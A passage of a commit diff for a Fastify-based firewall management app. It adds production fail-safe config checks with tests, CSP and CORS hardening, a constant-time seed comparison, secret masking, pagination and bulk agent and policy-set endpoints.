Compare commits
7
Commits
45812fef6a
...
v1.0.1
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
a0f0bff65a | ||
|
|
75661f7443 | ||
|
|
15b5cce8cc | ||
|
|
3dc8e6d5e2 | ||
|
|
7a3f1fad25 | ||
|
|
454c5009d1 | ||
|
|
40030ce06c |
No files matched your search
@@ -21,7 +21,6 @@ node_modules
|
||||
**/node_modules
|
||||
**/dist
|
||||
apps/web/src/routeTree.gen.ts
|
||||
apps/web/playwright-report
|
||||
apps/web/test-results
|
||||
|
||||
*.md
|
||||
@@ -30,7 +29,6 @@ CONTRIBUTING.md
|
||||
LICENSE
|
||||
docs
|
||||
|
||||
.pre-commit-config.yaml
|
||||
.releaserc.json
|
||||
.commitlintrc.*
|
||||
commitlint.config.cjs
|
||||
|
||||
@@ -24,3 +24,12 @@ REUI_LICENSE_KEY=
|
||||
|
||||
# Server
|
||||
SERVER_PORT=8080
|
||||
|
||||
# Security hardening (prod)
|
||||
# В prod (NODE_ENV=production) сервер откажется стартовать без AUTH_REQUIRED=true
|
||||
# и реальных секретов; EVOFW_ALLOW_UNSAFE=true — явный opt-out для изолированных стендов.
|
||||
# EVOFW_ALLOW_UNSAFE=false
|
||||
# Разрешённые CORS-origins через запятую; пусто = только same-origin
|
||||
# CORS_ORIGINS=https://fw.example.com
|
||||
# Ключ для шифрования секретов в БД (AES-256-GCM, напр. токен EvoBGP); пусто = без шифрования
|
||||
# EVOFW_SECRET_KEY=
|
||||
@@ -46,7 +46,9 @@ jobs:
|
||||
- if: ${{ inputs.is_pull_request == false }}
|
||||
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
|
||||
with:
|
||||
fetch-depth: 2
|
||||
# Full history: before_sha may be many commits behind the new tip
|
||||
# (multi-commit pushes) and must exist locally for git diff.
|
||||
fetch-depth: 0
|
||||
- id: detect
|
||||
name: Detect changed paths per module
|
||||
env:
|
||||
@@ -80,7 +82,14 @@ jobs:
|
||||
else
|
||||
after="${HEAD_SHA:-$(git rev-parse HEAD)}"
|
||||
before="$BEFORE_SHA"
|
||||
# Guard: a stale/unresolvable before_sha must not fail the pipeline.
|
||||
if [ -n "$before" ] && [ "$before" != "0000000000000000000000000000000000000000" ]; then
|
||||
if ! git cat-file -e "$before^{commit}" 2>/dev/null; then
|
||||
echo "::warning::before_sha $before not resolvable, falling back to HEAD~1"
|
||||
before=""
|
||||
fi
|
||||
fi
|
||||
if [ -n "$before" ]; then
|
||||
FILES="$(git diff --name-only "$before" "$after")"
|
||||
elif git rev-parse --verify HEAD~1 >/dev/null 2>&1; then
|
||||
FILES="$(git diff --name-only HEAD~1 HEAD)"
|
||||
@@ -221,6 +230,7 @@ jobs:
|
||||
set -euxo pipefail
|
||||
sh scripts/ci/pnpm-ci.sh
|
||||
pnpm --filter @evofw/web run typecheck
|
||||
pnpm --filter @evofw/web run test
|
||||
pnpm --filter @evofw/web run build
|
||||
|
||||
api:
|
||||
@@ -251,13 +261,15 @@ jobs:
|
||||
key: pnpm-${{ runner.os }}-${{ steps.pnpm-hash.outputs.key }}
|
||||
restore-keys: |
|
||||
pnpm-${{ runner.os }}-
|
||||
- name: pnpm install, test, build
|
||||
- name: pnpm install, typecheck, test, build
|
||||
env:
|
||||
PNPM_CACHE_HIT: ${{ steps.pnpm-cache.outputs.cache-hit }}
|
||||
run: |
|
||||
set -euxo pipefail
|
||||
sh scripts/ci/pnpm-ci.sh
|
||||
pnpm exec turbo run test --filter=@evofw/api
|
||||
# turbo builds @evofw/{shared,db} first — api typecheck resolves their dist types
|
||||
pnpm exec turbo run typecheck --filter=@evofw/api --filter=@evofw/db --filter=@evofw/shared
|
||||
pnpm exec turbo run test --filter=@evofw/api --filter=@evofw/shared
|
||||
pnpm exec turbo run build --filter=@evofw/api
|
||||
|
||||
commitlint:
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
22
|
||||
@@ -5,6 +5,7 @@
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
"dev": "tsx watch src/server.ts",
|
||||
"typecheck": "tsc --noEmit",
|
||||
"build": "tsup src/server.ts --format esm --dts --publicDir src/agent-scripts && node -e \"const fs=require('fs');const p='dist/agent-scripts';fs.mkdirSync(p,{recursive:true});for(const f of fs.readdirSync('src/agent-scripts'))fs.copyFileSync('src/agent-scripts/'+f,p+'/'+f)\"",
|
||||
"start": "node dist/server.js",
|
||||
"test": "vitest run"
|
||||
|
||||
+54
-2
@@ -33,20 +33,44 @@ export async function buildApp(opts: BuildAppOptions = {}) {
|
||||
|
||||
const app = Fastify({
|
||||
logger: { level: config.logLevel },
|
||||
genReqId: () => crypto.randomUUID(),
|
||||
}).withTypeProvider<ZodTypeProvider>()
|
||||
|
||||
// Correlation id in every response and in the error envelope.
|
||||
app.addHook('onSend', async (req, reply) => {
|
||||
reply.header('x-request-id', req.id)
|
||||
})
|
||||
|
||||
app.setValidatorCompiler(validatorCompiler)
|
||||
app.setSerializerCompiler(serializerCompiler)
|
||||
|
||||
await app.register(import('@fastify/sensible'))
|
||||
// CSP only guards the served SPA; in dev the Vite server proxies API
|
||||
// requests same-origin and injects its own HMR scripts.
|
||||
await app.register(import('@fastify/helmet'), {
|
||||
contentSecurityPolicy: false,
|
||||
contentSecurityPolicy:
|
||||
config.staticDir !== null
|
||||
? {
|
||||
directives: {
|
||||
defaultSrc: ["'self'"],
|
||||
scriptSrc: ["'self'"],
|
||||
styleSrc: ["'self'", "'unsafe-inline'"],
|
||||
imgSrc: ["'self'", 'data:'],
|
||||
fontSrc: ["'self'", 'data:'],
|
||||
// app-switcher talks to the auth portal directly from the browser
|
||||
connectSrc: ["'self'", config.authPortalUrl],
|
||||
objectSrc: ["'none'"],
|
||||
baseUri: ["'self'"],
|
||||
frameAncestors: ["'none'"],
|
||||
},
|
||||
}
|
||||
: false,
|
||||
})
|
||||
await app.register(import('@fastify/rate-limit'), {
|
||||
max: 300,
|
||||
timeWindow: '1 minute',
|
||||
})
|
||||
await app.register(corsPlugin)
|
||||
await app.register(corsPlugin, { config })
|
||||
await app.register(errorHandlerPlugin)
|
||||
await app.register(dbPlugin, { config, memory: opts.memory })
|
||||
await app.register(authPlugin, { config })
|
||||
@@ -122,6 +146,34 @@ export async function buildApp(opts: BuildAppOptions = {}) {
|
||||
preventOverrun: true,
|
||||
}),
|
||||
)
|
||||
|
||||
// Raw stats samples grow ~1 row per agent per sync interval; drop old
|
||||
// ones daily. Lifetime totals live on agents; aggregates are kept.
|
||||
const runRetention = async () => {
|
||||
const cutoff = new Date(
|
||||
Date.now() - config.statsRetentionDays * 86_400_000,
|
||||
).toISOString()
|
||||
const deleted = repos.deleteStatsSamplesBefore(app.db, cutoff)
|
||||
if (deleted > 0) {
|
||||
app.log.info(
|
||||
{ deleted, cutoff },
|
||||
`stats retention: raw samples older than ${config.statsRetentionDays}d removed`,
|
||||
)
|
||||
}
|
||||
}
|
||||
app.scheduler.addCronJob(
|
||||
new CronJob(
|
||||
{ cronExpression: '17 3 * * *' },
|
||||
new AsyncTask('stats-retention', runRetention, (err) => {
|
||||
app.log.warn({ err }, 'stats retention failed')
|
||||
}),
|
||||
{ preventOverrun: true },
|
||||
),
|
||||
)
|
||||
// First cleanup right at startup, not only after the next 03:17.
|
||||
runRetention().catch((err) =>
|
||||
app.log.warn({ err }, 'stats retention failed'),
|
||||
)
|
||||
}
|
||||
|
||||
return app
|
||||
|
||||
@@ -0,0 +1,74 @@
|
||||
import { describe, it, expect, afterEach } from 'vitest'
|
||||
import { loadConfig } from './config.js'
|
||||
|
||||
const SAVED: Record<string, string | undefined> = {}
|
||||
const KEYS = [
|
||||
'NODE_ENV',
|
||||
'AUTH_REQUIRED',
|
||||
'AUTH_JWT_SECRET',
|
||||
'JWT_SECRET',
|
||||
'EVOFW_ENROLL_SEED',
|
||||
'EVOFW_ALLOW_UNSAFE',
|
||||
]
|
||||
|
||||
afterEach(() => {
|
||||
for (const k of KEYS) {
|
||||
if (SAVED[k] === undefined) delete process.env[k]
|
||||
else process.env[k] = SAVED[k]
|
||||
}
|
||||
})
|
||||
|
||||
function setEnv(vars: Record<string, string | undefined>) {
|
||||
for (const [k, v] of Object.entries(vars)) {
|
||||
if (!(k in SAVED)) SAVED[k] = process.env[k]
|
||||
if (v === undefined) delete process.env[k]
|
||||
else process.env[k] = v
|
||||
}
|
||||
}
|
||||
|
||||
describe('loadConfig production fail-safe', () => {
|
||||
it('refuses insecure defaults in production', () => {
|
||||
setEnv({
|
||||
NODE_ENV: 'production',
|
||||
AUTH_REQUIRED: undefined,
|
||||
AUTH_JWT_SECRET: undefined,
|
||||
JWT_SECRET: undefined,
|
||||
EVOFW_ENROLL_SEED: undefined,
|
||||
EVOFW_ALLOW_UNSAFE: undefined,
|
||||
})
|
||||
expect(() => loadConfig()).toThrow(/AUTH_REQUIRED/)
|
||||
|
||||
setEnv({ AUTH_REQUIRED: 'true' })
|
||||
expect(() => loadConfig()).toThrow(/AUTH_JWT_SECRET/)
|
||||
|
||||
setEnv({ AUTH_JWT_SECRET: 'short' })
|
||||
expect(() => loadConfig()).toThrow(/real secret/)
|
||||
|
||||
setEnv({ AUTH_JWT_SECRET: 'a-real-production-secret' })
|
||||
expect(() => loadConfig()).toThrow(/EVOFW_ENROLL_SEED/)
|
||||
})
|
||||
|
||||
it('starts with explicit opt-out or full production config', () => {
|
||||
setEnv({ EVOFW_ALLOW_UNSAFE: 'true' })
|
||||
expect(() => loadConfig()).not.toThrow()
|
||||
|
||||
setEnv({
|
||||
EVOFW_ALLOW_UNSAFE: undefined,
|
||||
EVOFW_ENROLL_SEED: 'real-seed',
|
||||
})
|
||||
expect(() => loadConfig()).not.toThrow()
|
||||
})
|
||||
|
||||
it('dev keeps permissive defaults', () => {
|
||||
setEnv({
|
||||
NODE_ENV: undefined,
|
||||
AUTH_REQUIRED: undefined,
|
||||
AUTH_JWT_SECRET: undefined,
|
||||
EVOFW_ENROLL_SEED: undefined,
|
||||
EVOFW_ALLOW_UNSAFE: undefined,
|
||||
})
|
||||
const config = loadConfig()
|
||||
expect(config.authRequired).toBe(false)
|
||||
expect(config.corsOrigins).toEqual([])
|
||||
})
|
||||
})
|
||||
+44
-4
@@ -13,6 +13,9 @@ export interface AppConfig {
|
||||
authAuditIngestSecret: string | null
|
||||
publicBaseUrl: string
|
||||
enrollSeed: string
|
||||
corsOrigins: string[]
|
||||
secretKey: string | null
|
||||
statsRetentionDays: number
|
||||
}
|
||||
|
||||
function boolEnv(v: string | undefined, fallback: boolean): boolean {
|
||||
@@ -20,16 +23,19 @@ function boolEnv(v: string | undefined, fallback: boolean): boolean {
|
||||
return v === '1' || v.toLowerCase() === 'true'
|
||||
}
|
||||
|
||||
const DEV_JWT_SECRET = 'dev-secret-change-me'
|
||||
const DEV_ENROLL_SEED = 'dev-enroll-seed-change-me'
|
||||
|
||||
export function loadConfig(): AppConfig {
|
||||
const isProd = process.env.NODE_ENV === 'production'
|
||||
const jwtSecret =
|
||||
process.env.AUTH_JWT_SECRET ??
|
||||
process.env.JWT_SECRET ??
|
||||
(isProd ? '' : 'dev-secret-change-me')
|
||||
(isProd ? '' : DEV_JWT_SECRET)
|
||||
|
||||
return {
|
||||
const config: AppConfig = {
|
||||
databaseUrl: process.env.DATABASE_URL ?? 'sqlite:data/app.db',
|
||||
jwtSecret: jwtSecret || 'dev-secret-change-me',
|
||||
jwtSecret: jwtSecret || DEV_JWT_SECRET,
|
||||
jwtTtlHours: Number(process.env.JWT_TTL_HOURS ?? '24') || 24,
|
||||
serverPort: Number(process.env.SERVER_PORT ?? '8080') || 8080,
|
||||
staticDir: process.env.STATIC_DIR
|
||||
@@ -54,6 +60,40 @@ export function loadConfig(): AppConfig {
|
||||
enrollSeed:
|
||||
process.env.EVOFW_ENROLL_SEED ??
|
||||
process.env.BUNDLE_SEED_HEX ??
|
||||
'dev-enroll-seed-change-me',
|
||||
DEV_ENROLL_SEED,
|
||||
corsOrigins: (process.env.CORS_ORIGINS ?? '')
|
||||
.split(',')
|
||||
.map((s) => s.trim().replace(/\/$/, ''))
|
||||
.filter(Boolean),
|
||||
secretKey: process.env.EVOFW_SECRET_KEY?.trim() || null,
|
||||
statsRetentionDays: Math.max(
|
||||
1,
|
||||
Math.min(3650, Number(process.env.STATS_RETENTION_DAYS ?? '30') || 30),
|
||||
),
|
||||
}
|
||||
|
||||
// Fail-safe: a production process must not start wide open or with
|
||||
// well-known dev credentials. EVOFW_ALLOW_UNSAFE=true is the explicit
|
||||
// opt-out for isolated/lab deployments.
|
||||
if (isProd && !boolEnv(process.env.EVOFW_ALLOW_UNSAFE, false)) {
|
||||
const problems: string[] = []
|
||||
if (!config.authRequired) {
|
||||
problems.push('AUTH_REQUIRED must be true (or set EVOFW_ALLOW_UNSAFE=true)')
|
||||
}
|
||||
if (!process.env.AUTH_JWT_SECRET && !process.env.JWT_SECRET) {
|
||||
problems.push('AUTH_JWT_SECRET is not set')
|
||||
} else if (config.jwtSecret === DEV_JWT_SECRET || config.jwtSecret.length < 8) {
|
||||
problems.push('AUTH_JWT_SECRET must be a real secret (>= 8 chars)')
|
||||
}
|
||||
if (config.enrollSeed === DEV_ENROLL_SEED) {
|
||||
problems.push('EVOFW_ENROLL_SEED is not set')
|
||||
}
|
||||
if (problems.length > 0) {
|
||||
throw new Error(
|
||||
`Refusing to start in production with insecure config:\n - ${problems.join('\n - ')}`,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
return config
|
||||
}
|
||||
Whitespace-only changes.
@@ -1,8 +1,21 @@
|
||||
import type { FastifyInstance } from 'fastify'
|
||||
import fp from 'fastify-plugin'
|
||||
import type { AppConfig } from '../config.js'
|
||||
|
||||
async function corsPlugin(app: FastifyInstance) {
|
||||
await app.register(import('@fastify/cors'), { origin: true })
|
||||
async function corsPlugin(app: FastifyInstance, opts: { config: AppConfig }) {
|
||||
const allowed = opts.config.corsOrigins
|
||||
await app.register(import('@fastify/cors'), {
|
||||
// The SPA is served same-origin (or via the Vite dev proxy), so by
|
||||
// default only non-CORS (same-origin/server-side) requests pass.
|
||||
// CORS_ORIGINS opens specific origins explicitly.
|
||||
origin: (origin, cb) => {
|
||||
if (!origin || allowed.includes(origin.replace(/\/$/, ''))) {
|
||||
cb(null, true)
|
||||
} else {
|
||||
cb(null, false)
|
||||
}
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
export default fp(corsPlugin, { name: 'cors' })
|
||||
@@ -14,17 +14,25 @@ export class AppError extends Error {
|
||||
}
|
||||
|
||||
async function errorHandlerPlugin(app: FastifyInstance) {
|
||||
app.setErrorHandler((err, _req, reply) => {
|
||||
app.setErrorHandler((err, req, reply) => {
|
||||
if (err instanceof AppError) {
|
||||
return reply.code(err.statusCode).send({
|
||||
error: { code: err.code, message: err.message },
|
||||
error: {
|
||||
code: err.code,
|
||||
message: err.message,
|
||||
request_id: String(req.id),
|
||||
},
|
||||
})
|
||||
}
|
||||
if (err instanceof ZodError) {
|
||||
const message =
|
||||
err.issues.map((i) => i.message).join('; ') || 'Validation error'
|
||||
return reply.code(400).send({
|
||||
error: { code: 'VALIDATION_ERROR', message },
|
||||
error: {
|
||||
code: 'VALIDATION_ERROR',
|
||||
message,
|
||||
request_id: String(req.id),
|
||||
},
|
||||
})
|
||||
}
|
||||
const e = err as { statusCode?: number; message?: string }
|
||||
@@ -38,6 +46,7 @@ async function errorHandlerPlugin(app: FastifyInstance) {
|
||||
error: {
|
||||
code: status >= 500 ? 'INTERNAL_ERROR' : 'VALIDATION_ERROR',
|
||||
message,
|
||||
request_id: String(req.id),
|
||||
},
|
||||
})
|
||||
})
|
||||
|
||||
Whitespace-only changes.
@@ -1,5 +1,5 @@
|
||||
import { readFileSync } from 'node:fs'
|
||||
import { createHash } from 'node:crypto'
|
||||
import { createHash, timingSafeEqual } from 'node:crypto'
|
||||
import { join } from 'node:path'
|
||||
import type { FastifyPluginAsync } from 'fastify'
|
||||
import { repos } from '@evofw/db'
|
||||
@@ -18,6 +18,14 @@ import {
|
||||
|
||||
const scriptsDir = resolveAgentScriptsDir()
|
||||
|
||||
/** Constant-time seed check; hash first so lengths always match. */
|
||||
function seedMatches(presented: string | undefined, expected: string): boolean {
|
||||
if (!presented) return false
|
||||
const a = createHash('sha256').update(presented).digest()
|
||||
const b = createHash('sha256').update(expected).digest()
|
||||
return timingSafeEqual(a, b)
|
||||
}
|
||||
|
||||
function sanitizeHostFirewall(raw: {
|
||||
rules?: unknown[]
|
||||
listeners?: unknown[]
|
||||
@@ -92,7 +100,7 @@ export const agentRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
const seed = req.headers['x-evofw-seed']
|
||||
const expected =
|
||||
repos.getSetting(app.db, 'enroll_seed') || config.enrollSeed
|
||||
if (!seed || String(seed) !== expected) {
|
||||
if (!seedMatches(String(seed ?? ''), expected)) {
|
||||
throw new AppError('UNAUTHORIZED', 'Invalid enroll seed', 401)
|
||||
}
|
||||
const body = enrollBodySchema.parse(req.body)
|
||||
|
||||
@@ -5,6 +5,7 @@ import {
|
||||
putAgentPolicySetsBodySchema,
|
||||
patchAgentBodySchema,
|
||||
cloneFromBodySchema,
|
||||
agentIdsBodySchema,
|
||||
} from '@evofw/shared'
|
||||
import { AppError } from '../plugins/error-handler.js'
|
||||
import { evaluateAgentPolicy, truncateCidrs } from '../services/policy/evaluate.js'
|
||||
@@ -12,6 +13,7 @@ import { buildInstallUrls } from '../services/install-links.js'
|
||||
import type { AppConfig } from '../config.js'
|
||||
import { auditMutation } from '../services/audit.js'
|
||||
import { mapAgent } from '../services/row-mappers.js'
|
||||
import { applyPagination } from '../services/pagination.js'
|
||||
|
||||
export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
app,
|
||||
@@ -19,11 +21,12 @@ export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
) => {
|
||||
const { config } = opts
|
||||
|
||||
app.get('/agents', async () => {
|
||||
const all = repos.listAgents(app.db)
|
||||
const linksByAgent = repos.mapActiveInstallLinksByAgentId(app.db)
|
||||
return {
|
||||
items: all.map((a) => {
|
||||
app.get<{ Querystring: { limit?: string; offset?: string } }>(
|
||||
'/agents',
|
||||
async (req) => {
|
||||
const all = repos.listAgents(app.db)
|
||||
const linksByAgent = repos.mapActiveInstallLinksByAgentId(app.db)
|
||||
const items = all.map((a) => {
|
||||
const link = linksByAgent.get(a.id)
|
||||
if (!link) {
|
||||
return mapAgent(a)
|
||||
@@ -38,9 +41,11 @@ export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
installCurl: urls.curl.by_slug,
|
||||
installLinkId: link.id,
|
||||
})
|
||||
}),
|
||||
}
|
||||
})
|
||||
})
|
||||
const paged = applyPagination(items, req.query)
|
||||
return { items: paged.items, total: paged.total }
|
||||
},
|
||||
)
|
||||
|
||||
app.get<{ Params: { id: string } }>('/agents/:id', async (req) => {
|
||||
const a = repos.getAgent(app.db, req.params.id)
|
||||
@@ -147,6 +152,32 @@ export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
return mapAgent(updated!)
|
||||
})
|
||||
|
||||
app.post('/agents/approve-bulk', async (req) => {
|
||||
const body = agentIdsBodySchema.parse(req.body)
|
||||
const now = new Date().toISOString()
|
||||
const approved: string[] = []
|
||||
app.sqlite.transaction(() => {
|
||||
for (const id of body.agent_ids) {
|
||||
const a = repos.getAgent(app.db, id)
|
||||
if (!a || (a.status !== 'pending' && a.status !== 'invited')) continue
|
||||
repos.updateAgent(app.db, a.id, {
|
||||
status: 'approved',
|
||||
approvedAt: now,
|
||||
})
|
||||
repos.ensureSharedSetAssigned(app.db, a.id)
|
||||
approved.push(a.id)
|
||||
}
|
||||
})()
|
||||
auditMutation(app, config, req, {
|
||||
action: 'agent.approve',
|
||||
targetType: 'app_resource',
|
||||
targetId: approved[0] ?? '',
|
||||
summary: `Массовое одобрение агентов: ${approved.length}`,
|
||||
details: { agent_ids: approved },
|
||||
})
|
||||
return { items: approved.map((id) => mapAgent(repos.getAgent(app.db, id)!)) }
|
||||
})
|
||||
|
||||
app.post<{ Params: { id: string } }>('/agents/:id/revoke', async (req) => {
|
||||
const a = repos.getAgent(app.db, req.params.id)
|
||||
if (!a) throw new AppError('NOT_FOUND', 'Agent not found', 404)
|
||||
|
||||
@@ -9,6 +9,7 @@ import {
|
||||
import { hashToken } from '../plugins/auth.js'
|
||||
import type { AppConfig } from '../config.js'
|
||||
import { auditMutation } from '../services/audit.js'
|
||||
import { applyPagination } from '../services/pagination.js'
|
||||
|
||||
export const installLinksRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
app,
|
||||
@@ -16,11 +17,16 @@ export const installLinksRoutes: FastifyPluginAsync<{ config: AppConfig }> = asy
|
||||
) => {
|
||||
const { config } = opts
|
||||
|
||||
app.get('/install-links', async () => ({
|
||||
items: repos
|
||||
.listInstallLinks(app.db)
|
||||
.map((row) => mapInstallLink(row, config.publicBaseUrl)),
|
||||
}))
|
||||
app.get<{ Querystring: { limit?: string; offset?: string } }>(
|
||||
'/install-links',
|
||||
async (req) => {
|
||||
const items = repos
|
||||
.listInstallLinks(app.db)
|
||||
.map((row) => mapInstallLink(row, config.publicBaseUrl))
|
||||
const paged = applyPagination(items, req.query)
|
||||
return { items: paged.items, total: paged.total }
|
||||
},
|
||||
)
|
||||
|
||||
app.post('/install-links', async (req, reply) => {
|
||||
const body = createInstallLinkBodySchema.parse(req.body)
|
||||
|
||||
@@ -15,6 +15,8 @@ import {
|
||||
} from '../services/lists/entries.js'
|
||||
import type { AppConfig } from '../config.js'
|
||||
import { auditMutation } from '../services/audit.js'
|
||||
import { maskListConfig, sealListConfig } from '../services/secret-cipher.js'
|
||||
import { applyPagination } from '../services/pagination.js'
|
||||
|
||||
export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
app,
|
||||
@@ -22,26 +24,30 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
) => {
|
||||
const { config } = opts
|
||||
|
||||
app.get('/lists', async () => {
|
||||
const lists = repos.listIpLists(app.db)
|
||||
const counts = repos.countEntriesByListIds(
|
||||
app.db,
|
||||
lists.map((l) => l.id),
|
||||
)
|
||||
const items = lists.map((l) => ({
|
||||
id: l.id,
|
||||
name: l.name,
|
||||
type: l.type,
|
||||
config_json: l.configJson,
|
||||
content_hash: l.contentHash,
|
||||
refreshed_at: l.refreshedAt,
|
||||
last_error: l.lastError,
|
||||
entry_count: counts.get(l.id) ?? 0,
|
||||
created_at: l.createdAt,
|
||||
updated_at: l.updatedAt,
|
||||
}))
|
||||
return { items }
|
||||
})
|
||||
app.get<{ Querystring: { limit?: string; offset?: string } }>(
|
||||
'/lists',
|
||||
async (req) => {
|
||||
const lists = repos.listIpLists(app.db)
|
||||
const counts = repos.countEntriesByListIds(
|
||||
app.db,
|
||||
lists.map((l) => l.id),
|
||||
)
|
||||
const items = lists.map((l) => ({
|
||||
id: l.id,
|
||||
name: l.name,
|
||||
type: l.type,
|
||||
config_json: maskListConfig(l.configJson),
|
||||
content_hash: l.contentHash,
|
||||
refreshed_at: l.refreshedAt,
|
||||
last_error: l.lastError,
|
||||
entry_count: counts.get(l.id) ?? 0,
|
||||
created_at: l.createdAt,
|
||||
updated_at: l.updatedAt,
|
||||
}))
|
||||
const paged = applyPagination(items, req.query)
|
||||
return { items: paged.items, total: paged.total }
|
||||
},
|
||||
)
|
||||
|
||||
app.post('/lists', async (req) => {
|
||||
const body = createIpListBodySchema.parse(req.body)
|
||||
@@ -52,7 +58,7 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
id,
|
||||
name: body.name,
|
||||
type,
|
||||
configJson: JSON.stringify(body.config ?? {}),
|
||||
configJson: sealListConfig({ ...(body.config ?? {}) }),
|
||||
createdAt: new Date().toISOString(),
|
||||
updatedAt: new Date().toISOString(),
|
||||
})
|
||||
@@ -81,7 +87,7 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
id: list!.id,
|
||||
name: list!.name,
|
||||
type: list!.type,
|
||||
config_json: list!.configJson,
|
||||
config_json: maskListConfig(list!.configJson),
|
||||
created_at: list!.createdAt,
|
||||
updated_at: list!.updatedAt,
|
||||
}
|
||||
|
||||
@@ -3,6 +3,7 @@ import { repos } from '@evofw/db'
|
||||
import {
|
||||
createPolicySetBodySchema,
|
||||
patchPolicySetBodySchema,
|
||||
agentIdsBodySchema,
|
||||
} from '@evofw/shared'
|
||||
import { AppError } from '../plugins/error-handler.js'
|
||||
import type { AppConfig } from '../config.js'
|
||||
@@ -100,4 +101,59 @@ export const policySetsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async
|
||||
}
|
||||
return { ok: true }
|
||||
})
|
||||
|
||||
/**
|
||||
* Replace which agents have this set assigned: listed agents gain the set
|
||||
* (other assignments preserved), unlisted agents lose it.
|
||||
*/
|
||||
app.put<{ Params: { id: string } }>(
|
||||
'/policy-sets/:id/agents',
|
||||
async (req) => {
|
||||
const set = repos.getPolicySet(app.db, req.params.id)
|
||||
if (!set) throw new AppError('NOT_FOUND', 'Policy set not found', 404)
|
||||
const body = agentIdsBodySchema.parse(req.body)
|
||||
|
||||
const target = new Set(body.agent_ids)
|
||||
for (const agentId of body.agent_ids) {
|
||||
if (!repos.getAgent(app.db, agentId)) {
|
||||
throw new AppError('NOT_FOUND', `Agent not found: ${agentId}`, 404)
|
||||
}
|
||||
}
|
||||
|
||||
const current = repos.listAgentIdsForSet(app.db, set.id)
|
||||
const toAdd = body.agent_ids.filter((id) => !current.includes(id))
|
||||
const toRemove = current.filter((id) => !target.has(id))
|
||||
|
||||
const applyAssignment = (agentId: string, withSet: boolean) => {
|
||||
const others = repos
|
||||
.listSetsForAgent(app.db, agentId)
|
||||
.map((s) => s.setId)
|
||||
.filter((id) => id !== set.id)
|
||||
const next = withSet ? [...others, set.id] : others
|
||||
repos.setAgentPolicySets(app.db, agentId, next)
|
||||
}
|
||||
|
||||
app.sqlite.transaction(() => {
|
||||
for (const agentId of toAdd) applyAssignment(agentId, true)
|
||||
for (const agentId of toRemove) applyAssignment(agentId, false)
|
||||
})()
|
||||
|
||||
auditMutation(app, config, req, {
|
||||
action: 'policy_set.agents.update',
|
||||
targetType: 'app_resource',
|
||||
targetId: set.id,
|
||||
summary: `Назначение набора ${set.name} обновлено`,
|
||||
details: {
|
||||
set_id: set.id,
|
||||
added: toAdd,
|
||||
removed: toRemove,
|
||||
},
|
||||
})
|
||||
return {
|
||||
agent_ids: repos.listAgentIdsForSet(app.db, set.id),
|
||||
added: toAdd,
|
||||
removed: toRemove,
|
||||
}
|
||||
},
|
||||
)
|
||||
}
|
||||
@@ -63,12 +63,17 @@ export const portAclRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
async (req) => {
|
||||
const agent = repos.getAgent(app.db, req.params.id)
|
||||
if (!agent) throw new AppError('NOT_FOUND', 'Agent not found', 404)
|
||||
const items = repos.listAgentPortRules(app.db, agent.id).map((row) => {
|
||||
const listName = row.listId
|
||||
? repos.getIpList(app.db, row.listId)?.name
|
||||
: null
|
||||
return mapPortRule(row, listName)
|
||||
})
|
||||
const rows = repos.listAgentPortRules(app.db, agent.id)
|
||||
const listNames = repos.mapIpListNames(
|
||||
app.db,
|
||||
rows.map((r) => r.listId).filter((id): id is string => Boolean(id)),
|
||||
)
|
||||
const items = rows.map((row) =>
|
||||
mapPortRule(
|
||||
row,
|
||||
row.listId ? (listNames.get(row.listId) ?? null) : null,
|
||||
),
|
||||
)
|
||||
return { items }
|
||||
},
|
||||
)
|
||||
|
||||
@@ -12,7 +12,8 @@ import {
|
||||
} from '../services/policy/resolve-hostname.js'
|
||||
import type { AppConfig } from '../config.js'
|
||||
import { auditMutation } from '../services/audit.js'
|
||||
import { mapPolicyRule } from '../services/row-mappers.js'
|
||||
import { mapPolicyRule, mapPolicyRules } from '../services/row-mappers.js'
|
||||
import { applyPagination } from '../services/pagination.js'
|
||||
|
||||
export const rulesRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
app,
|
||||
@@ -26,29 +27,28 @@ export const rulesRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
const s = repos.getPolicySet(app.db, req.params.id)
|
||||
if (!s) throw new AppError('NOT_FOUND', 'Policy set not found', 404)
|
||||
return {
|
||||
items: repos
|
||||
.listPolicyRules(app.db, s.id)
|
||||
.map((r) => mapPolicyRule(r, app.db)),
|
||||
items: mapPolicyRules(repos.listPolicyRules(app.db, s.id), app.db),
|
||||
}
|
||||
},
|
||||
)
|
||||
|
||||
app.get<{ Querystring: { set_id?: string; agent_id?: string } }>(
|
||||
'/rules',
|
||||
async (req) => {
|
||||
if (req.query.agent_id) {
|
||||
return {
|
||||
items: repos
|
||||
.listPolicyRulesForAgent(app.db, req.query.agent_id)
|
||||
.map((r) => mapPolicyRule(r, app.db)),
|
||||
}
|
||||
app.get<{
|
||||
Querystring: { set_id?: string; agent_id?: string; limit?: string; offset?: string }
|
||||
}>('/rules', async (req) => {
|
||||
if (req.query.agent_id) {
|
||||
return {
|
||||
items: mapPolicyRules(
|
||||
repos.listPolicyRulesForAgent(app.db, req.query.agent_id),
|
||||
app.db,
|
||||
),
|
||||
}
|
||||
const items = repos
|
||||
.listPolicyRules(app.db, req.query.set_id)
|
||||
.map((r) => mapPolicyRule(r, app.db))
|
||||
return { items }
|
||||
},
|
||||
)
|
||||
}
|
||||
const paged = applyPagination(
|
||||
mapPolicyRules(repos.listPolicyRules(app.db, req.query.set_id), app.db),
|
||||
req.query,
|
